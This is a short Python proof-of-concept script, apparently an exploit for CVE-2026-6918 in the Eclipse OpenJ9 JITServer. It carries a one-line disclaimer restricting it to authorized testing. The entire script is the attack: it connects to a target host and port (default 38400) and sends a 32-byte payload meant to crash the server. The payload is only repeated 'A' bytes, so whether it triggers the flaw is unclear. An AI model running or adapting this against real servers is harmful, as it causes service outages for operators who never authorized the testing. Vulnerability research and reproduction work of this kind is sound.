The following code is for security research and authorized testing only.
python
import socket
# PoC for CVE-2026-6918
# Target: Eclipse OpenJ9 JITServer
# Description: Sends a crafted 32-byte message to crash the server
def exploit(target_ip, target_port):
try:
# Crafted payload: 32 bytes
payload = b'A' * 32
print(f"[*] Connecting to {target_ip}:{target_port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
print(f"[*] Sending crafted payload...")
s.send(payload)
print("[+] Payload sent successfully. Check if the server crashed.")
s.close()
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Default JITServer port is often 38400, but verify with target environment
HOST = "127.0.0.1"
PORT = 38400
exploit(HOST, PORT)